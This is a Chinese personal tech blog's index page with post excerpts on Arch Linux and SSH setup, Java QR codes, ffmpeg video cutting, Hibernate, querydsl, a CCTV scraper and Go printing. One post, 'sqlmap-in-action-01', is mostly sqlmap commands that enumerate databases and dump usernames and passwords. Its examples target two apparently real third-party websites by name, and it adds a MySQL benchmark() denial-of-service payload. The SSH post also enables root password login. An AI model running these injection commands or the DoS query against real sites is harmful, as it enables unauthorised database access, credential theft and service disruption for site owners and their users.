ArchLinux 安装

更新：2019-08-28

滚动更新

1
2
3
4
5
6
7
8
9
10
## 正常更新
sudo pacman -Syu
-----
sudo pacman --sync --needed archlinux-keyring
sudo pacman --sync --refresh
-----

## 出错时，尝试
pacman -Sy archlinux-keyring && pacman -Su

开启远程ssh服务

1
2
3
4
5
6
7
8
9
10
# systemctl enable sshd.service     开机启动
# systemctl start sshd.service      立即启动
# systemctl restart sshd.service    立即重启


开启root远程登录
PermitRootLogin yes

开启密码认证登录
PasswordAuthentication yes
more >>
|阅读量()

展开全文 >>

Java生成二维码工具类

更新：2019-08-28

二维码转base64

1
2
3
4
5
6
7
String registerPage = lrProperties.getRegisterPage();
ByteArrayOutputStream bout = new ByteArrayOutputStream();
QRCodeUtil.encode(registerPage + "?uid=" + uid, bout);
byte[] bytes = bout.toByteArray();
String qrcodeStr = "data:image/png;base64," + Base64Utils.encodeToString(bytes);
Map<String, String> result = new HashMap<>();
result.put("qrcode", qrcodeStr);
more >>
|阅读量()

展开全文 >>

ffmpeg下载腾讯视频

更新：2019-08-28

ffmpeg 命令

ffmpeg -re -i 01.mp4 -vcodec libx264 -acodec aac -f flv rtmp://192.168.18.200/live/abc

权限认证

ffmpeg -re -i 02.mp4 -vcodec libx264 -acodec aac -f flv rtmp://admin:admin@192.168.18.200/live/abc

常用命令

1
2
3
4
5
6
7
ffmpeg -i input.mp4 output.avi

# 截取视频片段(10s的广告)
ffmpeg -i https://apd-c8949b02f1a326aa5a3940a4825466c4.v.smtcdns.com/moviets.tc.qq.com/AVcM6tNF34wIequ-XF2Y3Sowf_00vFI9H9GzVXLO3c_c/uwMRJfz-r5jAYaQXGdGnC2_ppdhgmrDlPaRvaV7F2Ic/5fK36acBBYOIGYxakL9mMbA1__Q_jBTYTn_CrQ-Ubk5h9aPJolXQN1ENzt3tBnWQDBTPYvGkICGHWtOrYkS3OBMXZeXH2SDYhhHxRFSw5mjWH5bANVG7GIm32Ej1G2QcyyGUsoNdF6mtaUdRujLwgSioRWsYFIBT/c0029q2dzvv.321002.ts.m3u8?ver=4 -ss 00:01:00 -t 00:00:10 -vcodec copy -acodec copy cutad.mp4


ffmpeg -i https://apd-c8949b02f1a326aa5a3940a4825466c4.v.smtcdns.com/moviets.tc.qq.com/AVcM6tNF34wIequ-XF2Y3Sowf_00vFI9H9GzVXLO3c_c/uwMRJfz-r5jAYaQXGdGnC2_ppdhgmrDlPaRvaV7F2Ic/5fK36acBBYOIGYxakL9mMbA1__Q_jBTYTn_CrQ-Ubk5h9aPJolXQN1ENzt3tBnWQDBTPYvGkICGHWtOrYkS3OBMXZeXH2SDYhhHxRFSw5mjWH5bANVG7GIm32Ej1G2QcyyGUsoNdF6mtaUdRujLwgSioRWsYFIBT/c0029q2dzvv.321002.ts.m3u8?ver=4 -vf trim=60:71 cutad2.mp4
more >>
|阅读量()

展开全文 >>

Hibernate关联查询json递归问题

更新：2019-08-28 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// @JsonManagedReference
// @JsonBackReference	
@OneToMany
@JoinTable(name = "zj_issue_tags", 
           joinColumns = { @JoinColumn(name = "issue_id") },
           inverseJoinColumns = {@JoinColumn(name = "cropno")}
          )
private List<CustCrop> tags;

@OneToMany(cascade = {CascadeType.ALL})
@JoinColumn(name = "issue_id")
@JsonManagedReference
private List<IssueImage> imgs;

//https://github.com/liweinan/javaee/blob/master/src/main/java/net/bluedash/model/sandbox/collection/embed/Pencil.java
// CollectionId 仅能作用于List
// 需要手动指定 @GenericGenerator
@ManyToMany
@JoinTable(name = "zj_issue_tags", joinColumns = { @JoinColumn(name = "issue_id") }, inverseJoinColumns = {
    @JoinColumn(name = "cropno") })
	@CollectionId(columns = @Column(name = "id"), generator = "uuid", type = @Type(type = "string"))
@GenericGenerator(name = "uuid", strategy = "org.hibernate.id.UUIDGenerator")
private List<CustCrop> tags;

参考文献

https://stackoverflow.com/questions/47693110/could-not-write-json-infinite-recursion-stackoverflowerror-nested-exception

|阅读量()

展开全文 >>

querydsl

更新：2019-08-28

使用queryDsl时需注意hibernate的版本问题,具体问题TODO…

1
2
// 自定义Q前缀
@EnableJpaRepositories(repositoryImplementationPostfix='xxx')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 比如时间的比较
default void customize(final QuerydslBindings bindings, final QFoo foo) {
    bindings.bind(foo.age).all((path, ageValue) -> {
        Iterator<? extends Long> it = value.iterator();
        return path.between(it.next(), it.next());
    });
}

    @Override
    default void customize(QuerydslBindings bindings, QMemberAccountDetails root){
    	bindings.bind(root.indate).all(new MultiValueBinding<DateTimePath<Date>, Date>() {
			@Override
			public Predicate bind(DateTimePath<Date> path, Collection<? extends Date> values) {
				Date startTime = values.stream().min(Date::compareTo).get();
				Date endTime = values.stream().max(Date::compareTo).get();
				return path.between(startTime, endTime);
			}
		});
    }
more >>
|阅读量()

展开全文 >>

python解析CCTV狮子王

更新：2019-08-21 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 狮子王
import json
import requests
from lxml import html

urls = [
    'http://tv.cntv.cn/index.php?action=videoset-videolistbytype&class=jiemu&page={page}&setid=C31718&istiyu=0'.format(
        page=i) for i in range(1, 8)]

url = urls[0]

r = requests.get(url).text

tree = html.fromstring(r)

def get_vinfo(api_url):
    """
    获取hls地址
    :param api_url:
    :return:
    """
    r = requests.get(api_url).text
    hls_url = json.loads(r)['hls_url']
    return hls_url


for a in tree.xpath("//h3//a"):
    title = a.text.split(" ")[1]
    vid = a.attrib['href'].replace('/video/C31718/', '')
    hls_url = get_vinfo('http://vdn.apps.cntv.cn/api/getHttpVideoInfo.do?pid={vid}'.format(vid=vid))
    print('{0:{1}<10} {2}  {3}'.format(title, chr(12288), vid, hls_url))

|阅读量()

展开全文 >>

golang格式化输出

更新：2019-08-16

Go语言的标准输出流在打印到屏幕时有些参数跟别的语言（比如C#和Java）不同，下面是我整理的一些常用的格式化输入操作。

General

  • %v以默认的方式打印变量的值
  • %T打印变量的类型
  • %q打印基础类型的内容

Integer

  • %+d带符号的整型，fmt.Printf(“%+d”,255)// +255
  • %q打印单引号
  • %o不带零的八进制
  • %#o带零的八进制
  • %x小写的十六进制
  • %X大写的十六进制
  • %#x带0x的十六进制
  • %U打印Unicode字符
  • %#U打印带字符的Unicode字符
  • %b打印整型的二进制
more >>
|阅读量()

展开全文 >>

golang print 函数

更新：2019-08-14

基础打印

以默认格式输出到标准输出。

1
2
3
message := "Hello World";
fmt.Print(message)
fmt.Println(message)

F前缀

Fprint(), Fprintf(),Fprintln()

您可以为开头带有“f”的对象显式指定写入目标。

1
2
3
4
message := "Hello World";
fmt.Fprint(os.Stdout, message)
fmt.Fprintln(os.Stdout, message)
fmt.Fprintf(os.Stdout, "%T", message)

S前缀

Sprint(), Sprintf(),Sprintln()

开头带有“s”的将格式化结果返回为字符串，而不是输出。

1
2
3
message := "Hello World";
message = fmt.Sprint(message)
fmt.Println(message)

F后缀

Printf(), Fprintf(),Sprintf()

如果格式后跟“f”，则可以指定格式。

1
2
3
4
fmt.Printf("%v", message)
fmt.Fprintf(os.Stdout, "%v", message)
message3 := fmt.Sprintf("%v", message)
fmt.Println(message3)

ln后缀

Println(), Fprintln(),Sprintln()

对于后面带有“ln”的操作数，操作数之间有一个空格，在字符串的末尾添加新行。

1
2
3
4
fmt.Println("Hello", "World")
fmt.Fprintln(os.Stdout, "Hello", "World")
message4 :=fmt.Sprintln("Hello", "World")
fmt.Println(message4)

总结

F前缀 可以指定输出目的

S前缀 可以返回String结果

f后缀 可以格式化输出

ln后缀 添加空格隔开字符在末尾添加换行符

|阅读量()

展开全文 >>

sqlmap-in-action-01

更新：2019-08-13

检测注入点

GET注入

1
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5

POST注入

1
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --data="username=admin" --batch --random-agent --delay=0.5

查询目标存在的数据库

1
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --dbs

查询指定数据库的表

1
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --tables -D sql_inject

查询表结构

1
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --columns -T users -D sql_inject

查询表数据

1
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --dump -C "id,username, password" -T users -D sql_inject  --batch

枚举当前用户

1
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --current-db --current-user --hostname --is-dba

清除缓存

1
2
3
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --flush-session --fresh-queries

sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --flush-session --batch

注入详情

1
sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" -v 1

sql ddos

1
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://www.asfaa.org/members.php?id=1
http://www.katoombagroup.org/details.php?id=56


sqlmap -u "http://www.asfaa.org/members.php?id=1"  --current-db

sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --tables -D db83231_asfaa

 python sqlmap.py -u "http://www.katoombagroup.org/details.php?id=56" --batch --random-agent --delay=0.5
 
 


sqlmap -u "http://www.katoombagroup.org/details.php?id=56" --batch --random-agent --delay=0.5 --tables -D katoomba_LearningTools

|阅读量()

展开全文 >>

本站总访问量次 |

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

Java码农